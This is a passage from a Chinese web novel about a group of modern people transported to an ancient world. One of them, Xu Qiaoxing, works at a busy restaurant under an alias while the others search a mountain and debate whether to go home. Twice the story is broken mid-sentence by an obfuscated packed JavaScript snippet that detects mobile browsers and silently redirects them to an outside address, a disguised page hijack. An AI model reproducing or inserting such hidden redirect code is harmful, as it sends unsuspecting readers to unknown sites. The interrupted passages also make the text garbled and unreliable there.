冷汗顺着脸颊滴了下来，但长燕不敢擦拭。正使出行一事并非她全权负责，虽心知大国师不会对自己如何，仍提心吊胆地应对：“已加派人手，沿途摸索着查过去了。” 十几人的车队，怎会骤然不知去向？ 大国师没说话。 “报。”门房忽然垂手出现在门外，“使者孚安的信方才收到了。请大国师过目。” “拿上来。” “是。” 半晌，大国师缓缓道：“信上写寻回宝物，且‘幸得正使相助’……” 长燕松了一口气：“没事便好。神明庇佑，圣物不日可归位。”她抬起头，见大国师脸上却无笑意，顿时又低了下去。 “没事？正使随侍必定每隔三日写信报平安。路遥天远，若隔五六日，勉强说得过去。可你算算，距上一封平安信，时至今日，过了多久？虽尚且不知其中蹊跷，可这一点也不像没事。”大国师语气极冷，“正使那边继续追查，任何蛛丝马迹不可放过。还有，若孚安回城，让他即刻携圣物来见我，不得耽误。” “是。” 大国师微不可查地皱了皱眉头：“去请花正使来。” 羽冠城内。 “来啦！”许巧星扯着嗓子应了一声，提着小砂锅的耳把手，送到客人桌上。 饥肠辘辘的客人点完餐，等了片刻，只能吃着凉菜喝茶填肚子，心生不满，抱怨道：“怎么这么慢！” “对不住，今天店里事情多。” “我能看出来你们忙。你们忙，便让我久等于此吗？怎么，老板不舍得从兜里掏钱多请人？” 许巧星正欲张口。 一位店小二正在旁座上菜，插话道：“哪有的事？正逢好节，‘丰香楼’菜丰价廉，来的客人自然多，老板可都在挂榜招人了。今日让您久等实在对不住，我给您倒杯凉茶消消气，一会儿再让厨房送一个菜，您看怎么样？”说罢，使了一个眼神，让许巧星离开。 许巧星揉了揉被烫得发红的手，急匆匆地转身回了小厨房。 她撩开帘子，听见老板愤愤大骂：“那两人给我请假去搜山了！赶着这时候去，不知道店里忙吗？等他们回来，看我怎么教训他们！” 厨子忙，手上却有条不絮。她起锅颠勺，嘴里平平淡淡：“年轻人爱凑热闹，搜山多大的事啊，全城传遍了。你别恼，气坏了自己不好，扣了他们的工钱，再去招人吧。”她的学徒默不作声地打下手。 “呵，我要辞了他们。”老板回头见许巧星进来，又亲亲热热地喊她好姑娘，“乔幸，苦了你了。这几日可要跑断腿，我给你加钱，他们的工钱算到你头上。” 取化名是大家共议的结果。 若冒充正使一事暴露，王城前来追捕，望这假名能有所阻碍。 而乔幸正是许巧星随口取的，差不多同音，写在纸上却截然不同。这样别人用这个名字喊她，不至于一时两眼茫然。 许巧星听到加工资的话，原本疲软的手臂又来了劲，给老板道过谢，又继续端菜出去。 这饭店上下两层，一楼散座，二楼雅间，的确生意兴隆，里外忙得热火朝天。 许巧星今早方一进门，被老板领着认了一下菜样和名称，换上店内统一的短打，立马干活，连坐也没时间坐一下。 一楼有几十个位置，坐得满满当当，宾客如云。 许巧星起初分不清东南西北座，跟着别人走了几趟，死记硬背了下来。大家看她新来，也怕她送错菜，但实在缺人手，只好把她硬推上去充数，故而周围的人多少会提点她几句。 而这一上午下来，许巧星一直稳稳当当，谈不上滴水不漏，但总归没犯一次错。 过了饭点，客人少了大半。 老板朝许巧星招手，许巧星过去一瞧，另一间房间里已摆好色味俱佳的饭菜。她端了一上午的菜盘，闻着香气，饿得饥火烧肠，坐下大饱口福。 饭是轮流吃，她不敢久留，一阵风卷残云后就继续干活了。 老板见这人手脚干活利索，不偷懒，心中很是欢喜。 已至晡时，店内只剩雅座的客人，许巧星终于可以歇歇脚。 另外两名店小二在一旁聊天，他们是一对兄弟，兄长名叫志慧，弟弟则叫志顺。 志慧跑去厨房端了一小盘红彤彤的果子出来。听他口气，似乎是店小二里面的小头头。 今日人手少，志慧累得汗流浃背，拿来一把纸扇，要志顺给他扇风解热。志顺小声埋怨，挨了一记眼刀，老老实实接过扇子。 志慧见许巧星盯着盘子看，却不拿，笑道：“这个要新鲜才好吃。我们只拿一些剩的，老板她让的。” 志顺没有客气，一手扇风，一手抓果子，一半全进了他的肚子。他还想再拿，却被哥哥用力拍了一下手。 盘中正是先前日出带她摘的那类果子。 许巧星问过后，才明白她当时确实误会了。她听成了“糖果”，实则为“棠果”。 许巧星默想无言。 志顺问她：“你在这里呆多久？” “三天。” 志慧笑了一下：“未必。店里本来就忙，又有两人赶着这时候请假。老板能不恼吗？估计有一人要被辞了，正好缺人。” 志顺挠头：“快到佳泽的娘生辰了，他急着买贺礼。去搜山给的钱可多了呢。” “我懒得和你说。你平时少和他一起混。” “可是……” 志慧嗤笑一声：“没可是，你认他当哥算了。” 许巧星听着这两兄弟拌嘴，并不多说话，心里却想着别的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087978|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多时，老板来喊人干活。 转眼间外头天色微暗，撞钟声回荡，客人陆陆续续多了起来。劳累一整天，正需酒肉犒劳。老板让许巧星去后院端酒坛。 许巧星穿过热气腾腾的后厨，一推开门，见一年轻男人矮着身子，蹲在草丛中，双手正扒着窗口，眼睛却盯着推门而入的许巧星。竟不知这人是从何处偷溜进来的。 两人一碰面，均吓了一跳。 许巧星心头慌乱，此人形迹可疑，怕不是来偷酒的？想到这，她对着门内大喊一声：“有贼！” 那人吓得滑了一跤，一屁股坐在泥巴上，嘴里嚷嚷：“莫胡说！哪里有贼！” 下一刻，门里冲出来那位厨子学徒，她一手举着大菜刀，一手推开许巧星，气血十足地怒喝：“贼休要跑！”说罢，就愣住了。 那把大菜刀就悬在半空中，吓得地上的人连滚带爬地往后躲。 老板听见动静也跑过来。她声色俱厉：“我倒要看看谁敢来偷姑奶奶的东西！你们给我闪开，别挡道！”她推开学徒和许巧星，站在中间。 紧接着，老板三步并作两步，揪起在地上乱爬的那人的耳朵，对着他大吼：“好家伙！你今天没来上班，还敢来偷酒了？” 那人嗷嗷大叫，双手合一求饶：“姑奶奶，我哪敢偷东西啊！那个小姑娘睁眼说瞎话，我哪里偷酒了？你可千万不要信！” 老板不松手，冷笑道：“那你说说藏在这里做什么呢？还会回来？不是跟着佳泽跑去山上了吗？” 学徒收了菜刀，反手推许巧星进去。许巧星往里走，看见厨子波澜不惊地钉在原地大火炒菜。 学徒好心低声提醒：“这人是老板亲戚，今天跟着佳泽跑去山上了。咱们别管，老板会教训他的。你继续干活就好。” 许巧星一脸无辜：“酒还没拿呢。” 学徒愣了一下，让开路。 许巧星小跑回去，见老板依旧拽着那人的耳朵不放，训斥道：“小没良心的，姑奶奶要被你气晕了！怎么只看到了你？佳泽人跑哪里去了？” 那人脸涨得通红，央求道：“您先把手撒开。佳泽这小子还不是怕挨骂，今日不敢来了。” “你们是该怕我。你去他家告诉他，让他明天来结工钱，往后不用来了。” 外头还在等，许巧星连忙从地上抱起酒坛。这酒坛上面还沾了泥巴，她想去水槽里把上面的泥巴洗掉。 老板注意到她的动作，出言制止：“别洗，有泥巴的坛子，客人才会觉得是刚从地里取出来的。你一会儿给客人倒酒的时候，酒杯别挨到外面的泥巴就好。” 许巧星默默点头。 “姑奶奶你先松手，店里忙，别把精力浪费在我身上。” 老板道：“你还知道店里忙。不顾着店里，留了一张纸就瞎跑是吧。要不是看在你娘的面子上，明天你和佳泽一起滚。我倒要好好替你娘管教你一下。” 许巧星听着身后一声惨叫，老厨子面无表情地指了一下门，让她关上。 既不是贼，许巧星没有把这插曲放在心上，一心只惦记着赚钱吃饭。 32.第 32 章 志顺撩起帘子，他听见里头动静声大，借着端菜的功夫，饶有兴趣地问：“里面怎么了？” 学徒给了一个眼神，回应道：“那谁回来了。” 志顺露出了然的表情，便也不再问了。 许巧星事后从那两兄弟处了解到，后院挨训的“小贼”叫明远，是今日请假的一员，且此人是老板亲戚，家中与老板关系向来不错。于是双亲托老板代为管教，给口饭吃，起码能让他养活自己。 可这人朽木不可雕，性子不定，隔三差五整些小幺蛾子。 而他们口中的佳泽，按志慧的话来说，此人年龄小，但鬼主意多，油嘴滑舌不着调。 这家伙初来乍到时，尚且不惹事，凭借三尺不烂之舌哄着客人，与其余人也关系不错。但渐渐的，事生端倪。 志慧心有不满，私下反复叮嘱弟弟，要对此人退避三舍。 佳泽是大街小巷里闻名的大孝子，即使几人有罅隙，只要佳泽不闹出格，很多时候众人对此睁一只眼闭一只眼，明面上并不计较。 许巧星光听着，没出声，摸不清楚状况。 志慧似乎对佳泽极其不满，打心眼里认为老板会在这几日把他辞了，便私下与许巧星道了一件事。 他压低声音：“二楼比起一楼散座，钱多事少。本来店内的伙计是轮班上去的，被客人指名招待的事偶有一次。可偏偏在佳泽来了之后，此事常发生在他身上。我虽纳闷，但一想到他能说会道，懂讨客人欢心，便觉得不蹊跷了。” “可是后来，我们发现，他与二楼客人商议，自己会额外加几道菜，故他们全喊他上去。咱们厨房炒菜炒一大锅，这么多客人，哪会去细算每一道的去处？更何况遇见不悦的客人，自然要多送菜去平息怒火，更不好算了。” “店是按出菜量来进货的。店里亏，我们也亏，就他自己钻空子拿好处。出了这事后，老板要我们黑子白字录明白，她会抽查算账。你刚来，不用记。若要久留，也是要的。” 许巧星面露诧异：“有这事？” “是。老板本要辞了他，可念在他需多赚钱给亲娘买药的份上，他连声保证绝不再犯，老板就把他留下来了。他有时会喊明远一起去做蠢事，明远是老板亲戚，他又是谁？” 许巧星默然。 “最近本就事多，老板还去挂榜招了你来，可佳泽与明远全跑去搜山了。我只能说，幸好招了你，要不然光我与我弟两人，可不得跑断腿？” 志慧皱眉，“老板差点为此坏了生意，肯定会把他辞了。” 许巧星听完后，心里大致有数。可她初来，不知志慧为人品行，这些话毕竟是一面之词，她亦不会尽信。 左右不过呆三日，她不愿牵扯进这些人际关系之事中。 许巧星是来赚钱的。 她的注意力全然放在工钱上，数了又数，嘴角止不住上扬。她此时穷困潦倒，一心念着往后的日子不用睡大街了。 老板看她双手捧着钱便直愣愣往外走，忍俊不禁，忙不迭把许巧星喊住：“你不装钱袋里，小心洒地上。想当一回散财童子吗？” 许巧星没钱袋，老板便去拿了一个半旧不新的赠她。 皓月当空，万里清光。 许巧星腰间挂着沉甸甸的钱袋，虽腰酸背痛，胳膊涨疼得几乎抬不起来，她仍兴高采烈。拿到工钱的滋味真好。 至旅店口，许巧星放缓脚步，与掌柜简单打过招呼，又蹬着楼梯小跑上楼，推门而入。 房间内已点了灯。 司机抬头注视着许巧星，笑了一下：“快来，喝口茶，刚泡好的。” “你怎么这么晚？”郝乐宁坐在窗边吹风，“你再不回来，我们都要去接你了。” “不用接我，今日店里忙。”她走上前，把钱袋放在桌上，“有两个同事请假了，老板给了我三倍工资！”随手接过一杯茶，干枯碎花在杯底缓缓舒展，香气怡人。 司机一听，抚掌大笑：“一个人干三个人的活，真行啊你！” “不全是，有别人在干活的。反正我们又可以多住一段时间了。”许巧星又问，“你们今天搜山找到人了吗？” 司机摇头道：“没有，什么都没看见。忙活了一天，脚都磨出泡了，哪里难走就越要往哪钻。你知道吗？我刚与他们说，今天在城门送我们去搜山的人竟是应舒，巧了。她问花茶滋味如何，我没好意思说没喝。现在泡着呢，你快尝尝。” 许巧星端起杯子呷了一口：“我不懂茶，就感觉好喝。” “好喝就是好茶。”司机挑眉，“你以为我们就会泡茶吗？拿开水直接冲开的。” 他顿了顿，又说：“应舒同我讲，外头很多地方不太平。有一地起了洪涝，没决堤，但淹了好些低洼处的屋子。还有地方下了脸盆大的冰雹，把地里秧苗给砸坏了，甚至砸死了人。羽冠城附近的地儿算最为安宁祥和，可没想到竟出了考生无故失踪之事。” “啊？”许巧星睁大眼睛。她没想到外面竟是如此光景。 郝乐宁庆幸：“我们运气不错。就算是穿越，好歹没穿越进受灾地，饥一顿饱一顿，保不齐小命没了。” 司机不知想起了什么，声音沉了几分：“羽冠城有可能也会出事。今日搜山前，有人特意给我们发了药丸，咽下去后才准上山。我问了一声，是预防瘴气的。回来时应舒说，考生失踪案可能与十多年前的一件大事相似，不过她那时仅是年幼孩童，说不清。搜山到现在都没找到人，我听见，许多人倒希望是寻常失踪，千万别是天灾前兆。” 几人一阵唏嘘。 不过他们只是普通人，对此无可奈何。 谈完司机今日之经历，郝乐宁又道自己在盟府的发现。 “我在一本律典里，找到了一条罪。和圣塔有关，哦对了，一旁有图示，是我们在山中所见红塔。上面写，圣塔‘报天功，报地恩’，年年有专人前去祭拜，告太平于天神。咱们普通人要是闯进去，可是冒犯神明的大罪。不容犯人辩解，必然下狱。” 听了这话，许巧星更加两眼一黑。 司机一摊手：“俗话说，债多不压身。我想开了，反正咱们已经犯了罪，不怕再加一条。要是被抓到，横竖下场就是死路一条。” 郝乐宁忍不住叹息。 陈哥缓缓道：“我们隐姓埋名，不要惹事。这是古代，没有监控，或许能躲过去。” “最好就应该在他们找上门之前，直接逃回我们的世界。” 许巧星想起昨日陈哥的发言，旋即扭头去看他。 果不其然，陈哥冷淡地道：“我不打算回去了。” 许巧星与郝乐宁早知此事，并不吃惊。可司机未曾听说，愣了好一会儿：“你真不回去了？” “不回去了。” 司机抓耳挠腮，实在想不通：“留下来有什么好？你之前不是说自己有一家店吗？你店也不要了？” 郝乐宁见陈哥不应，若有所思道：“你有什么困难就说出来。经此一遭，我们四人称得上是患难之交。等大家回去后，对你的难处肯定不会坐视不管的，说不定可以帮上忙。” 许巧星刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104806|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想附和两声，但转念一想自己尚且在学校念书，应该解决不了陈哥所面对的困难，便只跟着点头。 半晌。 “……其实，店铺早就倒闭了。”陈哥露出一个难以形容的表情，深吸一口气，“我在原来的世界中孤家寡人，无牵无挂。在这里没什么不好。” 三人静默。 陈哥轻声道：“多谢你们的好意，我心领了。”他从椅子上站起身，显然不想再就此多言，“我明日还要赶早去工作，先去睡了。虽然我不打算回去，但你们若有需要我做的，我也会帮忙。” 话音刚落，他开门走了出去，留下几人面面相觑。 司机咳嗽一声，转头问郝乐宁：“你今日有别的发现吗？” 郝乐宁道：“很零碎，与我们回去的事联系不大，等我整理好再说吧。我现在也没什么头绪。” 司机将杯中茶一饮而尽，随即搁在桌上。他下意识想掏出一根烟点上，又想到这儿还有别人，不能抽烟。他的手往侧身一摸，这才发觉自己衣袍外没有口袋，而他带来的两根烟早就没了。 他对抽烟的瘾不大，要不然穿越来的这段日子里不会丝毫未犯烟瘾。他按了按掌心，皱眉道：“今日的信息交换差不多了吧，那都早点休息。明天得继续忙呢。” 许巧星瞥见不愁花花瓣已卷边，便去问掌柜借竹筛，用来晒花。祭神那夜，那位老太太指点过她如何制作香囊。许巧星半懂不懂，但记得第一步是将花瓣晒干。 掌柜姑娘听了，称可以帮她做。 许巧星不好意思坦然接受，但掌柜姑娘说这季节便是做香囊的日子，她也正打算给阿婆做几个驱虫，一起做不麻烦。 “我见你早出晚归的，想来是没时间的大忙人。没事，我几日便给你做好了，不会麻烦的。”她笑道。 许巧星再三道谢，将不愁花交给掌柜，又回房准备入睡。 郝乐宁仍坐在窗边吹风，见状便起身关了窗。她忽然问道：“你觉得，陈哥为什么会想要留下来？” 许巧星一愣，回答道：“他说自己没有亲人了。” “按各种条件来说，我们原本的世界比这里要好吧。”郝乐宁语气认真，“这里没电没网，看不了电视、玩不了手机，没什么娱乐，交通不便，人生地不熟。就算有法术，仅有少数几人能学到，或许和我们没干系。况且，我们世界的高科技已普及民众。这里的居民若是见了高科技，估计会误以为人人皆修仙吧。” 是这个道理。 她缓缓道：“我们在这儿是温饱线挣扎。陈哥说自己原本开过店，可他留这边的话，多半只能做点苦力活，还冒着被通缉的风险。” 许巧星隐隐有了猜测。 她想起陈哥那日曾说过，他们一行人可能是遭遇了车祸…… 她瞪大眼睛，身上陡然发冷：“他觉得这边可能是死后的世界……他想找自己的亲人。” 那她的双亲呢？纵是许巧星对他们的记忆已模糊淡去，可这个念头仍不受控制地冒了出来。 郝乐宁脸色苍白，叹息道：“我也是这样想。不过这一切全是猜想，做不了数。再者说，假设这边真是死后的世界，我们是没办法回去的。我们慢慢找线索吧。” 虽许巧星觉得眼前一切没有半分阴曹地府之貌，但自从来了这个世界后，多事难以用常理去解释。她不太能接受自己是一个已死之人，更不觉得自己是。 光想无益，许巧星强压着心头那股寒意：“你若查到了什么资料，一定要告诉我。” “肯定会的。”